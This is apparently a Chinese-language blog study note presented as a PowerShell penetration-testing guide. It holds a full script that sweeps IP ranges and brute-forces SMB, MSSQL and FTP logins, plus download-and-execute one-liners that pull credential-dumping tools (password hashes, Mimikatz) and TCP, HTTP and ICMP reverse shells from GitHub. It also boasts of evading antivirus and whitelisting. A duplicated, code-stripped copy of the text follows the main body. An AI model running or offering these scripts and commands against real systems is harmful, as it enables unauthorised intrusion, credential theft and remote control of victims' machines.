Powershell学习笔记
字数 554 2025-08-29 08:31:47

PowerShell 渗透测试实战指南

1. PowerShell 简介

PowerShell 是微软开发的强大脚本语言和命令行工具,具有以下特点:

  • 基于 .NET Framework 2.0+ 环境
  • 无需第三方支持
  • 可绕过白名单限制
  • 能轻松规避杀毒软件检测
  • 自 Windows 7/Server 2008 起内置在系统中

2. PowerShell 基础语法

2.1 学习资源

推荐在线教程网站:PowerShell 在线教程

2.2 脚本加载方法

  1. 远程加载执行:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xxx/xxx.ps1')
  1. 本地加载执行:
Set-ExecutionPolicy RemoteSigned
Import-Module .\xxxxx.ps1

3. 实战脚本示例:端口扫描与爆破工具

3.1 功能概述

  • 端口扫描
  • 支持 FTP/SMB/MSSQL 爆破
  • 结果输出到文件

3.2 完整代码

function Port-Scan {
    [CmdletBinding()]
    Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string] $StartAddress,
        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string] $EndAddress,
        [string] $file,
        [int[]] $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        [int] $TimeOut = 100
    )
    
    Begin {
        $ping = New-Object System.Net.Networkinformation.Ping
    }
    
    Process {
        # 初始化SQL Server爆破功能
        $Connection = New-Object System.Data.SQLClient.SQLConnection
        $result=@()
        
        foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
            foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
                foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
                    foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
                        $ip="$a.$b.$c.$d"
                        $pingStatus = $ping.Send($ip,$TimeOut)
                        $openport=@()
                        
                        if($pingStatus.Status -eq "Success") {
                            write-host "$ip is alive" -ForegroundColor red
                            
                            for($i = 1; $i -le $ports.Count;$i++) {
                                $port = $Ports[($i-1)]
                                $client = New-Object System.Net.Sockets.TcpClient
                                $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                                Start-Sleep -Milli $TimeOut
                                
                                if($client.Connected) {
                                    $openport += $port
                                    write-host "$ip open $port" -ForegroundColor red
                                    "$ip open $port" | out-file -Append -filepath $file
                                }
                                $client.Close()
                            }
                            
                            $iphash=@{ip=$ip;ports=$openport}
                            $result +=$iphash
                            
                            foreach ($i in $result){
                                foreach ($port in $i.ports){
                                    # SMB爆破
                                    $ip=$i.ip
                                    if($port -eq 445){
                                        Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                                        $conf=Get-Content 'conf\smb.conf'
                                        foreach ($j in $conf){
                                            $username=$j.Split(":")[0]
                                            $password=$j.Split(":")[1]
                                            if (wmic /user:$username /password:$password /node:$ip process call create "") {
                                                Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                                                "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                                                break
                                            }else{
                                                Write-Host "login smb to $ip with $username : $password is fail"
                                            }
                                        }
                                    }
                                    
                                    # MSSQL爆破
                                    if($port -eq 1433){
                                        Write-host "Brute Forcing SQL Service on $ip...." -ForegroundColor Yellow
                                        $conf=Get-Content 'conf\mssql.conf'
                                        foreach ($j in $conf){
                                            $username=$j.Split(":")[0]
                                            $password=$j.Split(":")[1]
                                            $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                                            Try {
                                                $Connection.Open()
                                                $success = $true
                                            }
                                            Catch {
                                                $success = $false
                                                Write-host "login mssql to $ip with $username : $password fail "
                                            }
                                            if($success -eq $true) {
                                                Write-host "login mssql to $ip with $username : $Password is successful" -ForegroundColor green
                                                "login mssql to $ip with $username : $Password is successful"| out-file -Append -filepath $file
                                                Break
                                            }
                                        }
                                    }
                                    
                                    # FTP爆破
                                    if($port -eq 21){
                                        Write-host "Brute Forcing ftp Service on $ip...." -ForegroundColor Yellow
                                        $source = "ftp://" + $ip
                                        $conf=Get-Content 'conf\ftp.conf'
                                        foreach ($j in $conf){
                                            Try {
                                                $username=$j.Split(":")[0]
                                                $password=$j.Split(":")[1]
                                                $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                                                $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                                                $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                                                $result = $ftpRequest.GetResponse()
                                                $message = $result.BannerMessage + $result.WelcomeMessage
                                                Write-host "login ftp to $ip with $username : $password is successful" -ForegroundColor green
                                                "login ftp to $ip with $username : $password is successful"| out-file -Append -filepath $file
                                                break
                                            }
                                            Catch {
                                                Write-host "login ftp to $ip with $username : $password fail"
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        Write-host "put all into $file" -ForegroundColor red
    }
    
    End {}
}

3.3 已知问题

  1. 单线程执行,速度较慢(需要学习PowerShell线程池管理)
  2. SMB爆破使用WMIC命令时,密码错误会显示错误信息(需要屏蔽错误输出)
  3. 缺乏服务指纹识别功能

4. 高级渗透工具集

4.1 获取系统哈希

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

4.2 获取明文凭证(Mimikatz)

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz

4.3 PowerCat(PowerShell版Netcat)

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

4.4 反弹Shell工具集

HTTP反弹

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

TCP反弹

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

UDP反弹

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

ICMP反弹

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

5. 资源来源

所有工具均来自 Nishang GitHub 仓库

PowerShell 渗透测试实战指南 1. PowerShell 简介 PowerShell 是微软开发的强大脚本语言和命令行工具,具有以下特点: 基于 .NET Framework 2.0+ 环境 无需第三方支持 可绕过白名单限制 能轻松规避杀毒软件检测 自 Windows 7/Server 2008 起内置在系统中 2. PowerShell 基础语法 2.1 学习资源 推荐在线教程网站: PowerShell 在线教程 2.2 脚本加载方法 远程加载执行: 本地加载执行: 3. 实战脚本示例:端口扫描与爆破工具 3.1 功能概述 端口扫描 支持 FTP/SMB/MSSQL 爆破 结果输出到文件 3.2 完整代码 3.3 已知问题 单线程执行,速度较慢(需要学习PowerShell线程池管理) SMB爆破使用WMIC命令时,密码错误会显示错误信息(需要屏蔽错误输出) 缺乏服务指纹识别功能 4. 高级渗透工具集 4.1 获取系统哈希 4.2 获取明文凭证(Mimikatz) 4.3 PowerCat(PowerShell版Netcat) 4.4 反弹Shell工具集 HTTP反弹 TCP反弹 UDP反弹 ICMP反弹 5. 资源来源 所有工具均来自 Nishang GitHub 仓库